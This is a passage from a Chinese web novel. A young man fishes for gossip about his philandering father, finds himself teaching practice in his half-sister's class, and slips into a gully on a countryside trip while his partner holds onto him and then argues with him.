“哪个?”邹飏愣了愣,一眼过去,只有距离老爸三米开外的地方有个看上去三十左右的女人正在过马路。 “就那个正在过马路的。”樊均说。 “他俩也不是一块儿出来的吧?”邹飏有些不理解。 “就是一起的,他俩对视了,”樊均说,“你信我,我这十几年就盯着人看了。” 邹飏没说话,看了他一眼,也不知道是该佩服还是该心酸。 老爸走进了茶馆,服务员把他带了过来。 没等他坐下,邹飏一眼就看到了他眼角有一块淤青。 为了方便打探,邹飏不能在这会儿就把老爸激怒,他忍着一直等服务员上完茶走开了,才问了一句:“谁打你了吗?” 老爸扫了他一眼:“你爸被人打了,你挺高兴?” “……有吗?”邹飏摸了摸自己的脸。 老爸冷着脸没说话。 第85章 看来的确是被人打了,只是不知道被谁打的。 老爸不算孱弱,能一拳锤在他脸上的人要不就是出奇不意,要不就是他理亏没好意思躲…… “看着还好,”邹飏给他倒了茶,“这种伤过两天就看不出来了。” 说到伤,老爸沉默了一会儿开了口:“你身上那些伤怎么样了?” “早好透了,”邹飏说着看了樊均一眼,“他身上的碎弹片也都取出来了。” 老爸对这件事基本没怎么过问,所以听到碎弹片几个字的时候,还是有些吃惊的,但很快又往后一靠:“你好了就行了,别人的伤我不在意。” “我在意。”邹飏看着他说了一句。 老爸冷笑了一声:“一个个的,吃了枪药了,你都二十了,也叛逆期吗!” 邹飏没说话,又给樊均也倒了杯茶。 这个也字就很妙,邹天瑞一直都很任性,动不动就发脾气,但老爸第一次用了叛逆期这个词,看来最近折腾得不轻…… 不过应该不是老爸脸上那一拳的作者,一个小姑娘,不至于敢跟自己爹动手,如果樊均没看走眼,刚那个女的跟老爸有点儿什么的话,那这一拳大概率是小姑娘她妈打的。 啧啧啧啧。 “我那天跟你妈打了个电话,”老爸看着他,“她说你这学期课开始少了?” “嗯,”邹飏点点头,看向老爸的时候老忍不住往他那块淤青上瞅,只能赶紧又垂下眼皮看着杯子,“实践类的多了。” “也挺快,算起来,明年就要上班了,”老爸突然感慨了起来,“我记忆里总觉得你还是十几岁的样子。” “不是小学生的样子吗?”邹飏看了一眼樊均的杯子,空了,于是给他又倒了杯茶,“我十几岁的时候你都不怎么在家了。” “你还能不能好好说话了?”老爸皱起了眉。 “好好说了十九年,”邹飏笑了笑,慢慢泡着茶,“没什么用啊。” 老爸没再说话,沉默地看着他。 按说这会儿他就应该要钱走人了,但今天为了打探消息,他就也没急着走流程,很有耐心地也沉默着。 顺便给又空了的樊均的杯子里倒上了茶。 “别倒了,”樊均低声说,“喝不下了。” “喝不下了你不喝就行了啊。”邹飏说。 “……倒上了不喝行吗?”樊均问。 “不喝我还打你吗?”邹飏笑了。 “我去厕所。”樊均起身。 桌子边就剩下了父子二人,邹飏能感觉老爸似乎比之前松弛了一些,毕竟多一个人就要多一份装嘛。 “爸,”邹飏看着老爸,“是碰上什么事儿了吗?” 老爸过了好一会儿才重重叹了口气:“家庭矛盾,你不要掺和。” 邹飏皱了皱眉。 谁想掺和了,你的家庭矛盾,我想打听的唯一原因就是看热闹。 不过话听着不爽,却还是透露了信息。 “阿姨那个人……”邹飏胳膊架在椅子扶手上,手指顶着额角,声音放缓,“性格就是有点儿急,你不跟她计较就行。” “不是计不计较的问题,”老爸摆了摆手,“我一直都不跟她计较,她从早到晚都盯着我,怀疑这儿,怀疑那儿……” “这也能理解,”邹飏勾了勾嘴角,“怎么来的,就怕怎么丢了。” 老爸没了声音,盯着他。 “爸,年纪也不小了,”邹飏说,“收收心吧,现在起码还有个家。” 老爸还是看着他,似乎一时品不出他这话里的意思,不知道是该发火还是该感慨,半天才冷笑着点了点头:“邹飏,你现在是真不一样了。” “长大了嘛,”邹飏说,“明年就要上班了。” 打探到这儿也就差不多能猜到是什么情况了,邹飏决定结束谈话,樊均刚才也没去厕所,直接出了茶馆上外头去了,大概是为了方便他打探。 “再有一年,你也就不用每月这么操心着还要给我钱了。”邹飏把放在桌上的手机放进了兜里,喝光了杯子里的茶。 “你自己有点儿数,工作什么的,”老爸拿出手机,低头给他转账,“你妈也帮不了你什么,不懂的可以问我……” 邹飏捏了捏手指,咔的一声响。 老爸看了他一眼:“什么意思。” “没什么意思,”邹飏听到手机提示音,站了起来,“我妈能给我一个家。” “我们父子俩到底还能不能好好说话了!”老爸压着声音。 邹飏没说话,走出了茶馆。 樊均从旁边一个卖咖啡豆的店里走了出来,手里拿着一本广告册子。 “完事儿了?” “嗯,”邹飏拿过他手里的册子翻了翻,“没买点儿?” “想喝出去直接买,别折腾了。”樊均说。 “我以为你想买呢。”邹飏说完往店里扫了一眼。 猛地发现之前跟老爸牛郎织女一样过马路的那个女人正隔着玻璃看着他。 他也没回避,跟女人对视着。 比邹天瑞她妈年轻些,不算漂亮,看穿着是正在上班的,八成是老爸的助理之类的…… 女人转开了脸。 “走,”邹飏往车那边走过去,“如果这个真跟我爸有什么,那他估计是找到跟他能有精神共鸣的人了。” “为什么?”樊均问。 “这个不漂亮。”邹飏说。 “你爸还真是……”樊均轻轻叹了口气。 “邹天瑞她妈可不是我妈,”邹飏说,“我爸这回肯定得惨,打这一拳是轻的,没准儿后面能找人来揍他。” 樊均没说话。 “我爸也五十的人了,不知道还……”邹飏说到一半没忍住笑了起来,“扛不扛得住啊……” 樊均笑了笑,伸手搂住他的肩,在他胳膊上搓了搓:“不琢磨这些了。” 邹飏的笑容慢慢消失了,最后叹了口气。 “回学校?”樊均坐在车里问。 “嗯,”邹飏点点头,“明天一大早要去七中,七点半早读了,晚上老师要还跟我们说注意事项什么的。” “那我明天中午去七中等你?”樊均拿出手机看了看导航。 “你出得来吗?”邹飏问,“那边周五人挺多的吧,要不我们过去找你也行。” “没事儿,”樊均说,“出得来,周末了何川一般都在店里。” “你去林家渡带我吗?”邹飏发动了车子,但没开出去,安全起见,他现阶段开车不合适说话。 “你周末不写作业什么的吗?”樊均问。 “你真操心啊,”邹飏笑了起来,“等着吧,后面多的是要写的,接下去大半个月都有见习,到时小组见习报告肯定也是我写,还要录个授课视频……这个可以让李知越和刘文瑞去弄,但是授课内容肯定又是我……” “张传龙不是你们专业的吗?”樊均忍不住追了一句。 邹飏顿了顿,笑得差点儿呛着。 “我打杂啊,”张传龙说,“跑个腿儿什么的,每个小组都需要有一个后勤。” “没错!”李知越拍拍他的肩。 “车来了,上车上车。”刘文瑞推他们几个往大巴车走过去。 车上这帮看着还有些没睡醒的同学,一会儿就要四人一组被安排到七中的几个班去见习,听课,协助老师们上课…… 就他们这状态,感觉给老师们添乱更合适。 “所以你爸是又有小四了,”刘文瑞在邹飏耳边小声说,“然后被邹天瑞她妈打了。” “嗯。”邹飏点点头。 “邹天瑞她妈可不好对付啊……”刘文瑞一脸期待,“下月要钱你积极点儿。” 邹飏笑了起来:“你凑什么热闹。” “我讨厌你爸也不是一天两天了,一共才见几次面,见面就教训我,我妈都不那么训我呢,他算老几。”刘文瑞啧了一声。 “你妈都直接揍。”邹飏说。 “……对。”刘文瑞点头。 七中很多他们学校的毕业生,今天他们这组跟着的周老师就是前两届的师兄,很严肃的样子。 “你们跟我的班,高一3班,一共四十个学生,”周老师带着他们往教室走,“先去教室参观一下,现在是英语早读。” 几个人都拿出了小本子。 “尽量详细点儿,”邹飏说,“我报告好写。” “放心。”李知越说。 走到教室门口,就能听到整齐的朗读声,这动静,瞬间让人回到几年前。 “年轻真好啊……”刘文瑞小声说,“我现在玩游戏骂人都骂不了这么宏亮了。” “安静,”周老师看了他一眼,“不要影响同学们上课。” 刘文瑞赶紧闭嘴低头,在本子上一通划拉。 周老师带着他们从后门进了教室,站在最后一排。 不断有学生回头看他们,他们一字排开杵那儿,稍微有点儿尴尬,只能不断假装往本子上记东西。 讲台上领读的是个女生,很认真,一直到他们站了快一分钟了,才抬头拢了拢头发,往他们这边儿看了一眼。 邹飏在她抬头的瞬间就觉得这世界真奇妙。 “我操。”刘文瑞说。 邹天瑞在讲台上愣了很长时间,然后很突然地转身捂着脸跑出了教室。 教室里顿时响起一阵低低的议论声。 “你们……”周老师一边往教室外走,一边看了他们几个一眼,“你们去个人带读一下。” “谁们去个人?”张传龙问。 “……我们四个人要死一个。”刘文瑞说。 “李知越,”邹飏说,“你去死。” “告诉我妈,我不是孬种。”李知越本子一收,往前走了过去,班里的学生都没几个还在读的了,全都转头看着他们。 “接着读,”李知越走到了讲台上,往桌上敲了两下,“读到哪儿了?” 第二排一个男生说了句什么,他立马一指那个男生:“好,你上来领读。” 男生犹豫了一下,起身站到了讲台上,李知越退到了一边。 “操,他已经是老师了。”刘文瑞说。 “他是我们宿舍的骄傲。”邹飏说。 几分钟之后,周老师回到了教室,看了邹飏一眼,但并没有说话。 直到早读结束,邹天瑞也没有回到教室。 “来看看我们的办公室吧,一会儿第一节是我的课,”周老师带着他们往外走,“你们旁听。” “好的。”张传龙回答。 “刚才上去是李知越同学吧,”周老师说,“做得挺好的。” “谢谢周老师。”李知越笑了笑。 在办公室里周老师让他们几个先在他电脑上看一下这节课的PPT,然后把邹飏叫到了走廊上。 “我刚跟邹天瑞问了一下情况,”周老师看着邹飏,“你俩是……” “嗯。”邹飏在周老师说出“同父异母”四个字之前点了点头,他不想听到这四个字,莫名地会让他犯恶心。 “她是英语课代表,平时表现不错的,刚她情绪比较激动……”周老师说,“当然,她可能是有一些误会,你们各小组分配的老师都是随机的,并没有特意安排,这个我已经跟她说明白,也希望不要影响到你的情绪。” “我没事儿,”邹飏笑笑,“我习惯了。” 周老师没有说话,过了一会儿才说:“那先去看看PPT熟悉一下吧,一会儿听课。” 上课前,他们几个拎着椅子进了教室,坐到了最后一排听课。 邹天瑞已经回到了教室,趴在桌上,她的同桌和前桌的两个女生正跟她说着话,邹飏走进教室的时候,前桌女生看向他的目光不是很友善。 接着邹天瑞也回头盯了他一眼,眼眶发红,邹飏并没有回避,坐下往椅子上一靠,也看着她。 周老师走进教室,邹天瑞才转身坐好,低头擦了擦眼睛。 邹飏摸出自己的手机,把响铃换成了震动。 邹天瑞可能已经给老爸打过电话,不知道会怎么说,但老爸随时有可能打电话过来质问,他不想见习听课的时候因为手机突然响了影响课堂…… 周老师的课堂氛围还挺不错,轻松幽默,刘文瑞他们几个埋头记录着,邹飏也低着头,但说实话,没记下什么东西,脑子多少还是有些乱。 而老爸的电话果然如他所料,没等到下课就打了过来。 邹飏把电话挂掉了。 没两分钟老爸又打了过来。 邹飏拧着眉,给老爸发了个消息。 【邹yang】在听课,接不了电话 【那个人】下课马上给我打过来! 邹飏把手机放回兜里。 刘文瑞一边往本子上写着,一边伸手到他背后轻轻拍了拍,低声说:“冷静。” 挺冷静的,自打他不当演员之后,老爸的话就不太能让他起波澜了。 下了课,他们几个走出教室,在走廊上休息,等着下一节英语课。 有几个男生凑了过来,跟张传龙问了几句之后迅速进入了火热聊天状态。 邹飏走到旁边拨了老爸的电话。 电话刚一接通,老爸有些不爽的声音就传了出来:“你怎么回事儿?怎么跑到天瑞他们班上去了!她跟我这儿一通发脾气!” 老爸这个态度,邹飏一点儿都不意外。 碰到任何事,这人永远都不会跟他询问和了解,永远都是预设立场直接质问。 “师范生正常的教育见习,”邹飏很平静,“去哪个学校,去哪个班,不是我说了算的。” 老爸沉默了一会儿才开口:“邹飏,不管你对我,对你阿姨有多大意见……” “她不是我阿姨。”邹飏说。 “你闭嘴!”老爸提高了声音,“你见习就老实见习!不要没事找事!” “我肯定老实见习,你也听好,”邹飏依旧声音平稳,“你,或者邹天瑞,也不要没事找事,如果影响了我见习学分,我也不会客气。” “威胁我?”老爸冷笑起来。 “没错,所以你听好,”邹飏说,“你要真心疼你闺女,就让她好好上她的课,父母的事儿本来跟她没关系,别逼我犯浑,她还要在这儿上三年学呢。” 说完他也没等老爸回话,挂掉了电话。 “怎么样?”刘文瑞不知道什么时候站到了他身边。 “能怎么样,”邹飏说,“我就希望消消停停见习完,他们不惹我我看都不会多看他们一眼。” “你爸这……”刘文瑞叹了口气,“说是当爹的都跟闺女亲,跟儿子关系不好,你俩这关系都不是不好了,都赶上血海深仇了。” “我一直都不是他想要的那种儿子,可苦死他了。”邹飏啧了一声,拿着手机等了一会儿,老爸的电话没有再追过来。 说明威胁起效了。 他满意地把手机放回兜里。 樊均的车停在路边车位上,远远看到不少学生走了过来,估计是放学了。 他拿出手机。 过了一会儿邹飏的电话就打了过来:“在哪儿了?” “学校大门北边儿的路边停车位上,”樊均说,“你们出来了吗?” “嗯,正往那边儿走,”邹飏说,“你下车等我。” “怎么了?”樊均打开车门下了车。 “没怎么,”邹飏说,“我就是想第一眼就看到你。” “我站人行道中间了。”樊均说。 “那也不用这么显眼,”邹飏笑了起来,“神经啊,都是人。” “靠边儿了,”樊均低声问,“邹飏,你怎么了?” “晚点儿跟你说,”邹飏笑了笑,“放心我没事儿,就是突然特别想你。” “旁边没人吗?”樊均问。 “他们几个在前面,兴奋呢。”邹飏说。 “那赶紧的,偷个情。”樊均说。 一个从他身边路过的大姨猛地转过头,震惊而鄙视地看着他。 他清了清嗓子,转身对着车门。 “什么玩意儿?”邹飏也挺震惊。 “偷偷亲一个。”樊均小声说。 “……你这偷情偷得这么纯情的么,”邹飏笑了,“MUA~” “MUA!”樊均说。 第86章 刘文瑞现在开车有瘾,见车就想上去摸两把,虽然何川这车挺破的,但对他还是充满了吸引力。 “我开,”刘文瑞一拍胸口,拉开车门坐进了驾驶室,“我现在老司机……手动档啊?” “怎么你当初学的是自动档的本儿吗?”邹飏站在车窗前看着他。 “是手动档但是……”刘文瑞对着方向盘一通比划,“行,没问题,我开得了,我之前开我姨父那个破手动档也没问题。” “下来。”邹飏说。 “你不要质疑我。”刘文瑞握紧方向盘。 “我是在命令你,赶紧的,”邹飏拉开了车门,“一会儿到晚了订的桌该取消了。” 刘文瑞撑了一会儿,最后还是一咬牙,很不情愿地下了车。 邹飏上了车,点开导航,清了清嗓子,也不知道为什么开车要清嗓子。 但总归是第一次开车带这帮人,不能出任何差错,接下去五年之内都会被反复嘲临终没准儿还要集体回顾一遍…… 发动,起步,转向灯,并线,加速……嗯,没什么问题,顺利。 “邹飏现在车开得挺稳啊,”李知越说,“是不是总拿这车练呢?” “开过几次。”邹飏回答。 “才几次啊,那可以啊,”李知越说,“我的目标就是毕业买车试车的时候能把车开起来。” “你家里要帮你买车了?”张传龙问。 “嗯,答应是答应了,”李知越说,“但到时要能找出什么借口,反悔也是有可能的。” “那也不错了,我妈说我毕业的时候就从我家亲戚众多的破车里给我买辆二手的开,”刘文瑞说着踢了踢邹飏的椅背,“邹飏,你攒下来的片酬都够买辆车了吧。” “看要买什么样的了。”邹飏笑笑。 “原来还想着你要不够,忽悠一下你爸,他估计给你补点儿能买个好车,”刘文瑞叹了口气,“现在彻底没戏了吧?” “现在就只能靠你了。”邹飏说。 “包我身上!”刘文瑞一拍胸口。 樊均转头看了看邹飏,虽然昨天跟他爸见面的时候聊得不怎么愉快,但也不算多严重,今天邹飏就是来见习的,也没见着他爸,怎么跟决裂了似的。 邹飏也看了他一眼,笑了笑。 樊均正犹豫着要怎么反应,刘文瑞已经一拍他座椅:“樊哥你是不是还不知道!” “嗯?”樊均回过头。 “我们在邹天瑞班上见习!”刘文瑞一脸不爽,“操,真是见了鬼了……邹天瑞你知道是谁吧,就邹飏那个渣爹的女儿。” “起冲突了?”樊均问。 “没,怎么可能,邹飏不是那种人,”刘文瑞啧了一声,“但别人是不是就不好说了。” “会影响见习吗?”樊均看了邹飏一眼。 “不会。”邹飏回答。 “老师还是分得清的,”李知越说,“就算有人找麻烦也没事儿,邹飏是我们好几个老师的爱徒,逃课都逃不了的那种爱。” 樊均笑了笑。 当着一个宿舍的人,他暂时也没法多问什么。 下午没课,吃完饭把几个人送回学校,邹飏直接开车去了商贸城。 何川吃饭去了还没回,店门关着,挂了块“有事外出”的牌子,小白在玻璃门后面正摇着尾巴。 “狗带过来了?”邹飏隔着门跟小白招了招手。 小白疯狂扭动。 “嗯,何老板觉得它在店里安全,”樊均掏出钥匙开了门,“包了它的狗粮和零食,请它在这儿值班。” “神经。”邹飏笑了起来,进店揉着小白的脑袋跟它聊了几句,就往窗边那个躺椅上一倒,伸了个懒腰,闭上了眼睛。 “白,歇着去。”樊均叫住还想跟过去的小白。 小白老实地到店后门边的厚垫子上趴下了。 樊均走到茶桌边看了看,把开水烧上,再拿了张小椅子,坐到了邹飏身边。 “泡茶吗?”邹飏闭着眼睛问了一句。 “嗯,”樊均摸了摸他的手,“你爸今天是不是找你了?” “邹天瑞告状了,”邹飏偏过头睁开眼睛,“还没下课呢,我爸电话就打过来了,兴师问罪。” “你何罪之有啊?”樊均说。 邹飏笑了起来:“五刑之属三千,而罪莫大于不孝。” “……我收回前面那句,你重新说一遍。”樊均说。 “就是不孝子做什么都不对呗。”邹飏说。 “邹天瑞孝吗?”樊均问。 “不知道……但他是真挺疼他闺女的,”邹飏抓住樊均的左手,用力握了握,“所以邹天瑞除了觉得我总跟她抢爹之外,大概也没受过什么委屈了。” “那个爹有什么可抢的,赏她了。”樊均也握了握他的手,低头在他指头尖上亲了一下。 “嗯,”邹飏笑了笑,“反正我现在有你……” 樊均抬头看着他,顿了顿:“这不太合适吧?” “我操,”邹飏愣了两秒才反应过来,“你想什么呢!” 樊均笑着没说话。 “你们二十一中风气真的不行,”邹飏笑了起来,又握了握他的手,“真的,这学的都什么啊……” “那她这样……对你不会有什么影响吧?”樊均也继续握紧他的手。 “应该不会,反正我说了,别逼我犯浑,”邹飏看着他的手,“我反正就见习这十天半个月的,她还要在这儿上三年学。” 樊均笑了笑,继续回握。 “可以啊,”邹飏把他手拉起来看了看,“比之前劲儿大了。” “是么?”樊均再握了握,“还能更用力一些,但是扯着伤口会有点儿疼。” “嗯,”邹飏把他手拉到嘴边,亲了一口,“这个恢复吧,慢是真慢,但效果也还是有的。” “所以明天还是你开车啊。”樊均说。 “带我吗?”邹飏挑了一下眉毛。 “当郊游吧,”樊均说,“带不孝子散散心。” 正说着话,玻璃窗被人敲了几下。 转头看过去,一个打扮很狂野全身上下连衣服带饰品起码十种颜色的姑娘正转过身往门那边走。 邹飏吓了一跳,猛地甩开了樊均的手。 这位置跟外面的街就隔了一块玻璃,他俩这会儿跟坐在路边摸来亲去的没什么区别…… “你也不提醒我!”邹飏压着声音。 “刚没人。”樊均站了起来。 “那个不是人啊人都敲玻璃了!”邹飏瞪着他。 “她来的时候我没往外看,”樊均笑了笑,转身往门那边走了过去,又回过头小声说了一句,“没事儿,熟人。” “你要的材料到了啊……嗨!小白!”熟人嗓门儿很大,进屋就是一嗓子,把垫子上睡觉的小白惊得直接坐了起来。 “嗯,”樊均应着,“你什么时候有空?” “随时啊,看你方便。”熟人往邹飏这边看了一眼。 中间的帘子何川也不知道是没钱还是懒得,被小白扯坏以后一直也没弄个新的,这会儿直接一眼就能对上了。 “嗨。”熟人冲邹飏招了招手。 “……嗨。”邹飏只好也打了个招呼。 “我小龙,”熟人笑笑,“隔壁街打铁的。” “什么?”邹飏愣了。 “铁匠!铁……匠……”熟人提高声音,“你樊均病友啊?” “我比他……好点儿。”邹飏说完还是很吃惊。 虽然穿得乱七八糟,但看得出这个小龙是个挺清秀个女孩儿,外形跟刻板印象里的铁匠也差太多了。 “没事儿!我嗓门儿高!”小龙说。 “你别听他逗,”樊均笑了,“他就是我跟你说过的,我朋友,邹飏。” “哦——”小龙点点头,“幸会!” “……幸会。”邹飏说。 “那行吧,就我正好路过告诉你一声,”小龙推开店门走了出去,“你有时间过来就行,我最近几天下午都没活儿。” “好。”樊均关好门,走回了邹飏身边。 “铁匠?你们这儿还有铁匠铺?”邹飏往窗口那边看了看,铁匠小龙已经甩着膀子走远了。 “她家好几代都是,有个老店在南边村子那儿,商贸城这个店主要是卖货的。”樊均笑笑。 “你找她打什么?”邹飏看了一圈店里的东西,“何川这儿还要卖什么定制铁器吗?” “不是。”樊均说。 “那是什么?”邹飏问。 樊均过去把烧开的水拎起来开始泡茶。 “你做东西啊?”邹飏又问。 樊均沉默而专注地撬茶饼,称重…… “均儿!”邹飏忍不住笑了,提高声音,“装吧你就!” 樊均依旧面不改色地进行着泡茶的流程。 “樊均,”邹飏靠回椅子里,“你喜欢我吗?” “喜欢。”樊均说。 “哎,”邹飏笑着叹了口气,“行吧,爱说不说。” 感觉樊均应该是想做什么东西,保密得这么强行生硬,估计是送他的礼物……啧,早知道不问了,保持点儿神秘感和惊喜。 不过为什么要送礼物呢? 最近的需要送礼物的日子是樊均自己的生日。 不是礼物? 跟他也没什么关系? 有点没面子了啊邹飏…… 算了不想了,先去郊游的。 要说这份工作最大的好处,大概就是隔三岔五的就能去出个差,虽然不是每个地方都好玩……反正不好玩的地方邹飏不去就行了。 出发前邹飏查了一下,林家渡不远,水系植被丰富,夏天是很多人短途自驾的首选。 露营玩水看星空,美滋滋。 这会儿刚开春,天气还冷,玩不了水,各种植物也都还没睡醒,没多少绿色。 不过一眼看过去,那种落寞苍凉的感觉也挺有味道。 “这里再过一个月肯定美炸了,”邹飏一边开车一边忍不住转头看向窗外,“弄一帮人过来露营应该不错。” “要不你先停一下,”樊均伸手把住了方向盘,“我开一会儿,你看景。” “行。”邹飏把车往右靠了靠,停下了。 “停路中间是怎么想的。”樊均迅速下了车。 “怎么就路中间了?那边有个沟,我再靠右轮子都要……”邹飏也下了车,跑到副驾的时候看了一眼,“还这么宽啊?” “眼镜戴着也没什么用啊。”樊均上了车。 “这破车太大了,一下不适应。”邹飏啧了一声,也上了车。 “想买个车吗?”樊均系好安全带,车往前继续开了出去。 “嗯?”邹飏转头看了他一眼。 “他们是不是毕业了都要买车?”樊均问,“上班方便。” “那也得看有没有班上,在哪儿上班了。”邹飏拿着手机往窗外拍着。 “你不会没工作的。”樊均说。 邹飏转头看了看:“你是想买车吗?” “不是,”樊均笑笑,“我是想……如果你要买车,我可以……” 樊均说到一半停了停,看了他一眼,似乎是在观察他的反应。 然后才把话说完了:“可以给你添点儿。” 邹飏心里突然一软,鼻子莫名其妙又有点儿发酸,他转头继续举着手机,从屏幕里看着窗外的景:“你攒钱本来是要干嘛的?” “也没有明确的目的,”樊均说,“本来也没什么花销,能攒就攒了。” “你不是还打算自己做点儿不让咩咩股东咩咩咩的生意吗?”邹飏说。 “什么乱七八糟咩咩咩的,”樊均笑了,“也不急,现在这儿做着也挺顺,远了的事儿……也还没想,看手的情况再说吧……” “还一年呢,”邹飏放下手机,伸手摸了摸他的脸,“到时我真需要买,钱不够就找你要。” “嗯。”樊均点点头。 林家渡这边挺多小民宿的,这会儿淡季,都空着。 这回的丁老板比之前的李老板年轻,开了两家民宿,这几天只有三间房有人,所以把最好的房间给了他俩。 房间正门一推开就是大片的草地,后门是河。 环境不错,就是有点儿透心凉,屋里空调开了好半天温度都没上来。 樊均跟丁老板聊了一会儿,决定晚饭前先去后面的林子里看看何川想要的雷击木。 “明天早上我再带你们去看看那些老木桩,我收集这些也挺长时间了,之前没打算卖,”丁老板带着他们边走边聊,“想弄个工作室自己留着摆,但是现在……经济不景气,就也没弄。” “我看这边来的人还是挺多的,生意也不好吗?”樊均说。 “不行,当天来当天走的多,过夜就露营,”丁老板说,“而且也就夏天那两三个月有点儿人,别的时间我都蹲院子里数蚂蚁玩,现在做什么生意都不好做。” “也是。”樊均点点头。 后面是一个小山坡,林子挺密的,有条小土路通往深处,不过路口挂着游客禁止进入的牌子,顺着路往里走的时候,路边也有牌子。 “这是不是挺危险?”邹飏问了一句。 “不熟悉的容易迷路,”丁老板说,“这儿有小野兽的,而且有些地方化雪的时候会塌,也看不出来,游客进来了危险。” “我们算游客吗?”邹飏又问。 “算,”丁老板笑了,“我其实都算,我不是本地人,不过要去看的那棵树,不是太深,走一会儿就到,还有一棵在坡那边儿,那棵就得明天我找人领你们去了。” 这种感觉其实还挺有意思的。 脚底下的路不是很平整,深一脚浅一脚的,寂静的林子里就他们三个人,顺着不太明显的小路往林子里走的时候,莫名就有一种探险的刺激感。 这地方宿舍那几位肯定喜欢…… 就像丁老板说的,没走太远,就看到了离小土路大概十多米的位置,有一棵树干发黑的大树。 转到另一面就能看到,树干被雷劈掉了一半,破损的位置有不规则的碳化纹路。 “这是什么树?”邹飏拿出了手机。 “枣树,”丁老板说,“这玩意儿就得是硬木才行,这棵很不错。” 樊均走过去,用手在树干上敲了敲,又抬头看了看:“这棵不算大吧。” “这就挺难找的了,”丁老板说,“往前还有一棵,比它大点儿,但是直接劈死了,这东西也是可遇不可求……” 邹飏没见过这些东西,举起手机慢慢拍着,顺便把丁老板的讲解也录了下来。 树还挺漂亮的,他往后慢慢退了两步,从下到上,定格在上方被树杈分割开来的天空,再慢慢往下,最后镜头落在邹飏视频专属水印樊均脸上。 他又往后退了一步,想拍个大全景的照片。 脚刚一动,就感觉到了脚下踩着的枯枝响了一声,咔。 但跟在这一声咔之后还有细碎的一片碎裂声。 下面是空的。 邹飏反应过来的时候整个身体已经开始往后仰了过去,他立马把手机往前一扔,手也迅速往身边抓过去,想找到可以扶的东西。 但脚下的空间似乎不是一个坑,他踩到的位置很徒,感觉像是一道裂隙。 樊均听到动静转过身的同时已经往那边一个大步跨了过去。 在邹飏滑下去的瞬间跨了个弓步,右手摸到旁边突出的一块树根,左手伸向邹飏。 但邹飏在混乱地下滑过程里抓了几下旁边的枯枝,都没抓他的手。 最后他反手一把扣住了邹飏的手腕。 酸痛传来的瞬间,邹飏的声音也传了过来:“撒手你大爷!” 第87章 樊均抓着邹飏的整个手在抖,但力量惊人,邹飏甚至能感觉到手腕被他抓得有点儿生疼。 “你松手!”邹飏又急又气,咬着牙又吼了一声。 樊均没出声,当然也没松手。 邹飏脚底下是空的,他能确定这是一道沟,可能被水或者化雪冲出来的。 深浅不知道,但不算太宽,他的腿能碰到沟的两边。 “有没有受伤!”丁老板也扑了过来,伸手也想去抓邹飏的胳膊。 但这个沟的边缘是松散的土和枯枝,樊均是靠右手抓着的树根才没有滑下去,丁老板刚一过来,整个人就往下出溜,他赶紧又往回退了一点。 邹飏觉得自己如果手腕用力扭几下,应该能挣脱樊均的手,但他不敢。 他只能疯狂地用脚在沟的两侧来回踢踩,要在最短的时间里找到支撑点,减轻樊均手上的重量。 脚在滑下来的时候扭了一下,不知道严不严重,反正现在还没感觉到疼,只觉得酸胀。 往两边踢了几下之后,他右脚尖踩到了一块突起的硬东西,大概是树根。 踩上去的瞬间,就觉得右脚踝很疼,但他也顾不上了,左脚往后一蹬,把两条腿把自己架在了沟中间。 “松手!我踩到东西了!”他抬头看着樊均,左脚使了点儿劲,让整个身体往上去,樊均绷直的胳膊跟着也松了松。 “踩稳了吗?”樊均终于开口。 “稳了。”邹飏又低头看了看两边,没东西抓,但扶着点的话,他可以就这么跨个马步悬空站在当中。 樊均的手慢慢松开了,又停了几秒确定他不会滑下去,拽着树根的右手才使了使劲,退离了边缘的位置,问了一句:“下面深吗?” “我看看。”邹飏低头往下看着。 樊均开始在边缘一下下踩,试探着找落脚点:“不行就滑下去顺着走,找个浅的地方上来。” “都是乱七八糟不知道什么玩意儿,看不出来深浅……”邹飏说。 下面除了各种枯枝烂叶的,还能看到碎了的肥料袋子,饮料瓶,零食袋子,一只破棉鞋,还有看不出颜色了的不知道衣服还是裤子还是被单的玩意儿。 估计都是被水冲到一块儿的,他忍不住皱了皱眉。 但如果不下到沟底,就还是得需要人拉他上去,沟沿是松的,踩不实,要拉人就必须得借力…… “我下去,”邹飏决定从沟底走,这是现在最简单的办法了,“帮我看看往哪边走。” “往路的方向,”樊均说,“那边地势高,水都是从那边冲下来的。” “好。”邹飏左腿松了点儿劲,往下滑了一截,然后撑着土壁,右腿离开那块树根也往下滑。 不过脚踝发软,使不上劲,只能是左腿和两条胳膊相互撑着,稀里哗啦往下出溜。 好在沟的确不是特别深,脚穿过厚厚的枯枝和垃圾踩到了底,他抬头看了看,站的这个位置大概两米多,他转过身顺着沟底慢慢往路的方向走。 “你脚伤了?”樊均在上面问了一句。 “嗯,扭了一下。”邹飏说。 “刚怎么不说!”樊均压着声音吼了一嗓子,“能走吗?” “你管我能不能走,”邹飏刚才没顾得上发出去的怒火这会儿开始重燃,“你不用管我脚伤没伤,我也不会管你胳膊伤没伤。” “哎?”正弓着腰往沟里看着的丁老板愣了愣。 “那种情况不抓手还能有什么别的选择吗!”樊均也急了,“谁知道下面是什么!有多深!” “哎……”丁老板转头看着樊均。 “再深又能有多深!”邹飏提高了声音,“还能摔死了吗!” “就算摔不死,不怕摔伤吗!”樊均也提高了声音。 “能摔多大的伤!这么个沟,又不是滚下山了!能摔出多大的伤来!”邹飏停下了,抬头冲他吼着,“摔伤了又怎么样!” “哎?”丁老板也停下了。 “摔伤了没事儿是吧?”樊均也停下了,“摔伤了都没事儿你管我手伤不伤呢!” “这伤一样吗!一样吗!”邹飏指着他,“我问你,一样吗!伤上加伤一样吗!你那个枪伤昨天还说疼呢!一样吗!” “哎?”丁老板震惊了,“什么?” “操你大爷。”邹飏说完继续一瘸一拐地往前走。 “一样不一样谁知道,你是医生吗。”樊均估计也是刚才吓着了,这会儿居然没停嘴。 “我说不一样就不一样!”邹飏吼了一嗓子,“摔下来后果未知!拉那一下后果是能想象的!万一加重了废了怎么办!这会儿又不担心手废了是吧!” “哎?”丁老板看上去已经放弃了思考,指了指前面,“那儿,可以上来……” “废了有你啊!”樊均说,“废了你不管我了吗!” 邹飏往前走的脚步停下了,盯着脚下看了一会儿才抬起头,看着他。 樊均没说话,也看着他。 “行,”邹飏突然笑了,嘴角勾了勾,“可以,这话你自己记着了。” 樊均沉默着。 “走。”邹飏说完继续往前慢慢走了过去。 前面靠近路边的位置,有不少散落下来的断了的木头和石块,邹飏从这个位置往上爬了两步,抓住樊均伸过来的右手,从沟底爬了上来。 “脚扭了?”丁老板弯腰看着他的脚,“能走吗?” “能走,我刚也不是爬过来的啊。”邹飏说。 